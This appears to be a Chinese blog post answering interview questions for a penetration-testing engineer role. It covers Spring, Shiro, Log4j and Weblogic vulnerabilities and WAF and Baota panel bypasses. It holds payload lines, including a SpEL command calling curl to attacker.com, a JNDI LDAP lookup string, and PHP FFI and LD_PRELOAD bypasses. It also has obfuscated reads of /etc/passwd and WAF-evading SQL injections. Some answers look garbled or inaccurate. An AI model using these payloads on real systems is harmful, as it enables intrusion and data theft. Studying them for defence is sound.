2025年渗透测试面试题总结-天融信[社招]渗透测试工程师(题目+回答)

发布于:2025-06-09 ⋅ 阅读:(18) ⋅ 点赞:(0)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

天融信[社招]渗透测试工程师

一、Java Spring Boot组件漏洞

1. CVE-2018-1270(WebSocket RCE)

2. CVE-2018-1273(Spring Data SpEL注入)

3. Actuator未授权访问

二、Weblogic漏洞与协议利用

三、ThinkPHP+宝塔WebShell绕过

1. disable_functions绕过

2. 宝塔环境突破

四、Android四大组件安全风险

五、Shiro 550 vs 721

六、验证码绕过方法

七、SQL宽字节注入实例

八、HTTP 304状态码

九、Log4j2 Lookup风险(CVE-2021-44228)

十、渗透测试标准流程

十一、漏洞验证双视角

十二、护网实战工作清单

十三、云WAF对抗技术

1. 定位云WAF真实IP

2. SQL注入绕过示例

十四、命令注入绕过宝塔限制

十五、溯源技术框架

十六、安全设备实战经验

十七、网络问题排查步骤

十八、WAF绕过技术矩阵

十九、宝塔WAF绕过方案

1. SQL注入绕过

2. 文件读取绕过

二十、云WAF定位技术

1. IP定位

2. 历史记录分析

二十一、云WAF SQL注入绕过

绕过原理:

二十二、命令注入突破宝塔限制

1. open_basedir绕过

2. disable_functions绕过

天融信[社招]渗透测试工程师

1. **Java Spring Boot 组件及其漏洞**
   - **Spring Websocket RCE (CVE-2018-1270)**:此漏洞存在于Spring-messaging模块的WebSocket实现中,允许攻击者通过发送特定消息至内存中的STOMP代理,进而导致远程代码执行(RCE)。
   - **Spring Data RCE (CVE-2018-1273)**:该漏洞源于SpEL表达式注入,攻击者可通过注入恶意SpEL表达式,在Spring Data组件中执行任意命令。
   - **Spring Data REST RCE (CVE-2017-8046)**:Spring Data REST暴露的对象可通过URL操控,攻击者通过精心构造的JSON数据传递给服务器,从而在服务器上执行任意Java代码。
   - **Spring Boot 目录遍历 (CVE-2021-21234)**:Spring Boot Actuator中的logview功能因未能充分校验基本文件夹参数而导致目录遍历漏洞,攻击者可借此访问超出日志记录基目录以外的文件。
   - **Spring Actuator 未授权访问**: 若Spring Boot应用中的Actuator端点配置不当,可能导致敏感信息泄露、XML外部实体注入(XXE)、甚至RCE等安全风险。
2.  **Weblogic常见漏洞及IIOP/T3协议** 
3. **ThinkPHP结合宝塔环境的WebShell绕过方法** 
   - disable_function插件绕过: 攻击者可能会利用某些方式绕过disable_function的安全限制来上传并执行WebShell。
4. **Android测试中与Web测试相关的四大组件**
   - **Activity、ContentProvider、BroadcastReceiver、Service**
5. **Shiro 550与721漏洞区别**
   - **Shiro-550**:主要涉及Shiro rememberMe功能的反序列化漏洞,由于默认加密密钥硬编码,攻击者可构造恶意对象序列化后放入Cookie,从而在服务器端执行恶意代码。
   - **Shiro-721**:相较于550,Shiro在此版本中对rememberMe字段使用AES-128-CBC加密,但仍存在 Padding Oracle攻击的可能性,攻击者可以构造恶意Payload实现反序列化攻击。尽管key不再是硬编码,但仍然是动态生成并在登录后用于生成恶意rememberMe Cookie。
6. 验证码绕过方法 
7. 逻辑漏洞示例 
8. SQL注入中的宽字节注入概念与实例 
9.  HTTP状态码304及其在协商缓存中的作用 
10. Log4j2框架下Lookup服务引发的安全风险 
11. Fastjson反序列化漏洞原理与利用手法 
12. 渗透测试的整体思路 
13.  如何验证漏洞报告的真实性(包括运维与渗透测试角度) 
14. 描述护网经历中完成的具体工作内容 
15. 溯源经历分享 
16. 接触过的安全设备及是否有实际操作经验 
17. 对于客户反映的网络访问问题排查步骤 
18.  WAF绕过的一系列思路,包括但不限于SQL注入、正则绕过、编码方式绕过、Content-Type篡改、Unicode绕过等 
19. 特定场景下绕过宝塔WAF的方法 
20. 寻找云WAF部署位置的思路 
21. SQL注入针对云WAF的绕过技术 
22. 命令注入绕过方法,尤其是在宝塔环境中应对open_basedir和disable_functions限制的手法 

一、Java Spring Boot组件漏洞

1. CVE-2018-1270(WebSocket RCE)
  • 原理:STOMP消息头selector参数未过滤SpEL表达式
    httpCONNECT selector: T(java.lang.Runtime).getRuntime().exec('curl attacker.com') 
  • 影响版本:Spring Framework 5.0.0 - 5.0.5
  • 修复:升级至≥5.0.6,配置@EnableWebSocketMessageBroker时添加.setSelectorHeaderEnabled(false)
2. CVE-2018-1273(Spring Data SpEL注入)
  • 攻击路径
    POST /users?name[#this.getClass().forName("java.lang.Runtime").exec("id")]=test
  • 防御:全局过滤#{}${}符号,禁用@Query中的SpEL解析
3. Actuator未授权访问
  • 风险端点
    /actuator/env(泄露环境变量)
    /actuator/heapdump(获取内存敏感数据)
  • 加固方案
    yamlmanagement: endpoints: web: exposure: include: health,info # 仅开放安全端点 endpoint: shutdown: enabled: false 

二、Weblogic漏洞与协议利用

漏洞 协议 利用手法 修复方案
CVE-2020-2551 IIOP JNDI注入ldap://恶意地址 关闭7002端口
CVE-2019-2725 T3 绕过黑名单加载恶意类 限制T3协议访问(7001)
CVE-2017-10271 HTTP XMLDecoder反序列化<object>标签 删除wls-wsat.war 组件

三、ThinkPHP+宝塔WebShell绕过

1. disable_functions绕过
php// 利用FFI执行命令(PHP≥7.4) $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("id > /tmp/output");
2. 宝塔环境突破
  • open_basedir绕过
    phpmkdir('/tmp/bypass'); chdir('/tmp/bypass'); ini_set('open_basedir','..'); // 向上穿越目录 
  • WAF规则绕过
    union/*%0a*/select → 换行符分割检测规则

四、Android四大组件安全风险

组件 攻击场景 防御方案
Activity 导出组件未鉴权(android:exported=true) 显式设置exported="false"
ContentProvider URI路径遍历(content://com.example.DBProvider/../etc/passwd ) 启用pathPermissions校验
BroadcastReceiver 恶意消息伪造(Intent携带敏感数据) 使用LocalBroadcastManager
Service 未授权启动(startService未校验) 添加自定义权限检查

五、Shiro 550 vs 721

特性 Shiro-550 Shiro-721
密钥机制 硬编码(默认kPH+bIxk5D2deZiIxcaaaA== 动态生成(需捕获合法Cookie)
加密方式 AES-CBC弱加密 AES-CBC + Padding Oracle攻击
利用工具 shiro-exploit.jar 一键化利用 需配合Burp Collaborator

六、验证码绕过方法

  1. OCR识别:Tesseract识别简单图形码(成功率>80%)
  2. 接口重放:未绑定Session的验证码请求(/captcha?t=timestamp
  3. 逻辑缺陷:响应包返回验证结果(如{"code":0,"captcha_valid":true}
  4. 短信轰炸:拦截验证码请求至攻击者手机(Burp Repeater重放)

七、SQL宽字节注入实例

  • 漏洞场景:MySQL + GBK编码
  • 攻击输入
    id=1%df' AND 1=1-- → 转义后:1%df\' → GBK解码为1運'
  • 防御方案
    java// 强制UTF-8编码 new String(request.getParameter("id").getBytes("ISO-8859-1"), "UTF-8");

八、HTTP 304状态码

  • 协商缓存机制
    httpGET /logo.jpg HTTP/1.1 If-Modified-Since: Wed, 01 Jun 2025 07:28:00 GMT HTTP/1.1 304 Not Modified // 资源未变更,使用本地缓存 
  • 安全风险:缓存投毒(Cache Poisoning)篡改304响应头注入恶意脚本

九、Log4j2 Lookup风险(CVE-2021-44228)

  • 攻击原理
    ${jndi:ldap://attacker.com/Exploit} 触发JNDI注入
  • 应急方案
    1. 升级Log4j至≥2.17.0
    2. 添加JVM参数:-Dlog4j2.formatMsgNoLookups=true

十、渗透测试标准流程

mermaidgraph TD A[信息收集] --> B[漏洞扫描] B --> C{是否可利用?} C -->|是| D[漏洞利用] C -->|否| A D --> E[权限提升] E --> F[横向移动] F --> G[痕迹清理]

十一、漏洞验证双视角

验证方式 运维视角 渗透视角
环境复现 Docker容器隔离测试 VMware快照还原
分析工具 Wireshark抓包分析流量特征 Burp Suite Intruder模块爆破
无害化验证 DNS外带(ceye.io ) 执行ping 127.0.0.1

十二、护网实战工作清单

红队任务

  1. 鱼叉攻击:伪造HR邮件投递Excel 4.0宏病毒
  2. 横向移动:利用PrintNightmare(CVE-2021-34527)获取域控权限
  3. 痕迹清理:使用mimikatz清除日志
    蓝队任务
  • 部署EDR实时阻断可疑进程(如Carbon Black)
  • 分析NetFlow流量检测异常IIOP/T3连接

十三、云WAF对抗技术

1. 定位云WAF真实IP
  • 查询历史DNS记录:securitytrails.com
  • 全球Ping扫描:fofa.info 搜索header="X-Cache: HIT"
2. SQL注入绕过示例
sql/* 阿里云WAF绕过 */ SELECT/*!50000+0*/user,password FROM users WHERE id=1 

十四、命令注入绕过宝塔限制

bash# 绕过open_basedir mkdir -p /tmp/dir; cd /tmp/dir; chroot . # 绕过disable_functions /???/??t /???/p??sw? # 等价于 /bin/cat /etc/passwd 

十五、溯源技术框架

mermaidgraph LR A[攻击线索] --> B[IP溯源] A --> C[样本分析] B --> B1[威胁情报平台:VirusTotal] C --> C1[沙箱动态分析:Any.Run] B1 --> D[攻击者画像] C1 --> D 

十六、安全设备实战经验

设备类型 操作经验 应用场景
WAF 策略配置/日志分析 拦截SQL注入/CC攻击
EDR 进程溯源/威胁狩猎 检测勒索软件
NGFW 策略优化/IPS调优 阻断C2通信

十七、网络问题排查步骤

mermaidgraph TD A[用户反馈] --> B[链路测试] B --> C{是否通?} C -->|是| D[服务端口检测] C -->|否| H[检查本地DNS] D --> E{端口开放?} E -->|是| F[应用日志分析] E -->|否| G[防火墙策略检查]

十八、WAF绕过技术矩阵

类型 方法 案例
SQL注入 Unicode编码:%u0055NION %u0053%u0045%u004c%u0045%u0043%u0054
正则绕过 换行符分割:union%0aall%0aselect 绕过union\s+select规则
Content-Type篡改 表单转文件上传:Content-Type: multipart/form-data 绕过JSON参数检查

十九、宝塔WAF绕过方案

1. SQL注入绕过
sqlSELECT/*bt*/user FROM users # 注释符干扰规则 
2. 文件读取绕过
httpGET /static/%2e%2e/etc/passwd HTTP/1.1 # URL编码绕过路径检测 

二十、云WAF定位技术

1. IP定位
bash# 真实IP发现 dig +short target.com A # 云WAF IP dig +short target.com TXT # 查询SPF记录中的真实IP 
2. 历史记录分析
  • 工具:securitytrails.com
  • 关键词:historical DNS records

二十一、云WAF SQL注入绕过

sql/* 腾讯云WAF绕过 */ x=1+union/*!00000all*/select 1,2,3 
绕过原理:

利用MySQL版本特性注释/*!50000*/中的数字大于真实版本号(如MySQL 5.7用/*!60000*/


二十二、命令注入突破宝塔限制

1. open_basedir绕过
ph<?php mkdir('/tmp/exp'); chdir('/tmp/exp'); ini_set('open_basedir','..'); // 目录穿越 chdir('..'); chdir('..'); readfile('/etc/passwd'); ?>
2. disable_functions绕过
bash# LD_PRELOAD劫持 echo '<?php putenv("LD_PRELOAD=/tmp/hack.so"); mail("","","",""); ?>' > shell.php